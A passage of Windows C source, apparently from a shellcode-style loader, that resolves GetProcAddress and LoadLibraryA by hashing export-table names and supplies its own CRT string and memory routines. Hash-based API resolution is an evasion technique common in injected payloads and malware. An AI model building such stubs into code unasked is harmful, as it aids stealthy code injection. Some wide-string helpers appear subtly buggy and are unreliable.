    LPWORD pOrdArray  = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals);

    *fpGetProcAddress = NULL;
    *fpLoadLibraryA = NULL;

#ifdef FAST_POINTERS
    for (UINT i=0; i<pExportDir->NumberOfNames; i++)
    {
        LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);
    
        if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) 
            *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
        else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)
            *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
    
        if (*fpGetProcAddress && *fpLoadLibraryA)
            return TRUE;
    }
#else
    CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };
    CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

    for (UINT i=0; i<pExportDir->NumberOfNames; i++)
    {
        LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);

        if (!__STRCMPI__(pFuncName, strGetProcAddress))
            *fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
        else if (!__STRCMPI__(pFuncName, strLoadLibraryA))
            *fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);

        if (*fpGetProcAddress && *fpLoadLibraryA)
            return TRUE;
    }
#endif

    return FALSE;
}

DWORD GetStringHash(
    __in LPVOID lpBuffer, 
    __in BOOL bUnicode, 
    __in UINT uLen)
{
    DWORD dwHash = 0;
    LPSTR strBuffer = (LPSTR) lpBuffer;

    while (uLen--)
    {
        dwHash = (dwHash >> 13) | (dwHash << 19);
        dwHash +=  (DWORD)*strBuffer++;

        if (bUnicode)
                strBuffer++;            
    }
    return dwHash;
}
#pragma optimize( "", on ) 
// CRT
BOOL __ISUPPER__(__in CHAR c) { return ('A' <= c) && (c <= 'Z'); };
CHAR __TOLOWER__(__in CHAR c) { return __ISUPPER__(c) ? c - 'A' + 'a' : c ; };

UINT __STRLEN__(__in LPSTR lpStr1)
{
    UINT i = 0;
    while(lpStr1[i] != 0x0)
        i++;

    return i;
}

UINT __STRLENW__(__in LPWSTR lpStr1)
{
    UINT i = 0;
    while(lpStr1[i] != L'\0')
        i++;

    return i;
}

LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2)
{
    CHAR c = __TOLOWER__((lpStr2++)[0]);
    if (!c)
        return lpStr1;

    UINT dwLen = __STRLEN__(lpStr2);
    do
    {
        CHAR sc;
        do
        {
            sc = __TOLOWER__((lpStr1++)[0]);
            if (!sc)
                return NULL;
        }
        while (sc != c);
    }
    while(__STRNCMPI__(lpStr1, lpStr2, dwLen) != 0);

    return (lpStr1 - 1); // FIXME: -0?
}

LPWSTR __STRSTRIW__(__in LPWSTR lpStr1, __in LPWSTR lpStr2)
{
    CHAR c = __TOLOWER__(((PCHAR)(lpStr2++))[0]);
    if (!c)
        return lpStr1;

    UINT dwLen = __STRLENW__(lpStr2);
    do
    {
        CHAR sc;
        do
        {
            sc = __TOLOWER__(((PCHAR)(lpStr1)++)[0]);
            if (!sc)
                return NULL;
        }
        while (sc != c);
    }
    while(__STRNCMPIW__(lpStr1, lpStr2, dwLen) != 0);

    return (lpStr1 - 1); // FIXME -2 ?
}

INT __STRCMPI__(
    __in LPSTR lpStr1, 
    __in LPSTR lpStr2)
{
    int  v;
    CHAR c1, c2;
    do
    {
        c1 = *lpStr1++;
        c2 = *lpStr2++;
        // The casts are necessary when pStr1 is shorter & char is signed 
        v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
    }
    while ((v == 0) && (c1 != '\0') && (c2 != '\0') );
    return v;
}

INT __STRNCMPI__(
    __in LPSTR lpStr1, 
    __in LPSTR lpStr2,
    __in DWORD dwLen)
{
    int  v;
    CHAR c1, c2;
    do
    {
        dwLen--;
        c1 = *lpStr1++;
        c2 = *lpStr2++;
        /* The casts are necessary when pStr1 is shorter & char is signed */
        v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
    }
    while ((v == 0) && (c1 != '\0') && (c2 != '\0') && dwLen > 0);
    return v;
}

INT __STRNCMPIW__(
    __in LPWSTR lpStr1, 
    __in LPWSTR lpStr2,
    __in DWORD dwLen)
{
    int  v;
    CHAR c1, c2;
    do {
        dwLen--;
        c1 = ((PCHAR)lpStr1++)[0];
        c2 = ((PCHAR)lpStr2++)[0];
        /* The casts are necessary when pStr1 is shorter & char is signed */
        v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
    } while ((v == 0) && (c1 != 0x0) && (c2 != 0x0) && dwLen > 0);

    return v;
}

LPSTR __STRCAT__(
    __in LPSTR    strDest, 
    __in LPSTR strSource)
{
    LPSTR d = strDest;
    LPSTR s = strSource;

    while(*d) d++;
    
    do { *d++ = *s++; } while(*s);
    *d = 0x0;

    return strDest;
}


LPWSTR __STRCATW__(
    __in LPWSTR    strDest, 
    __in LPWSTR strSource)
{
    LPWSTR d = strDest;
    LPWSTR s = strSource;

    while(*d != L'\0') d++;
    do { *d++ = *s++; } while (*s != L'\0');
    *d = L'\0';

    return strDest;
}

LPVOID __MEMCPY__(
    __in LPVOID lpDst, 
    __in LPVOID lpSrc, 
    __in DWORD dwCount)
{
    LPBYTE s = (LPBYTE) lpSrc;
    LPBYTE d = (LPBYTE) lpDst;

    while (dwCount--)
        *d++ = *s++;

    return lpDst;
}

#pragma optimize( "", off ) 
VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize)
{
    for (UINT i=0; i<dwSize; i++)
        ((PCHAR)p)[i] = cValue;
}
#pragma optimize( "", off ) 

/*
INT __STRCMPIW__(
__in LPWSTR lpStr1, 
__in LPWSTR lpStr2)
{
int  v;
CHAR c1, c2;
do {
c1 = ((PCHAR)lpStr1++)[0];
c2 = ((PCHAR)lpStr2++)[0];
// The casts are necessary when pStr1 is shorter & char is signed 
v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
} while ((v == 0) && (c1 != '\0') && (c2 != '\0') );
return v;
}

INT __STRNCMPIW__(
__in LPWSTR lpStr1, 
__in LPWSTR lpStr2,
__in DWORD dwLen)
{
int  v;
CHAR c1, c2;
do {
dwLen--;
c1 = ((PCHAR)lpStr1++)[0];
c2 = ((PCHAR)lpStr2++)[0];
// The casts are necessary when pStr1 is shorter & char is signed 
v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
} while ((v == 0) && (c1 != '\0') && (c2 != '\0') && dwLen > 0);
return v;
}


LPSTR __STRSTRI__(__in LPSTR lpStr1, __in LPSTR lpStr2)
{
CHAR c = __TOLOWER__(*lpStr2++);
if (!c)
return lpStr1;

UINT dwLen = __STRLEN__(lpStr2);
do
{
CHAR sc;
do
{
sc = __TOLOWER__(*lpStr1++);
if (!sc)
return NULL;
}
while (sc != c);
}
while(__STRNCMPI__(lpStr1, lpStr2, dwLen) != 0);

return (lpStr1 - 1);
}




*/

VOID END_LOADER_DATA()
{
    return;
};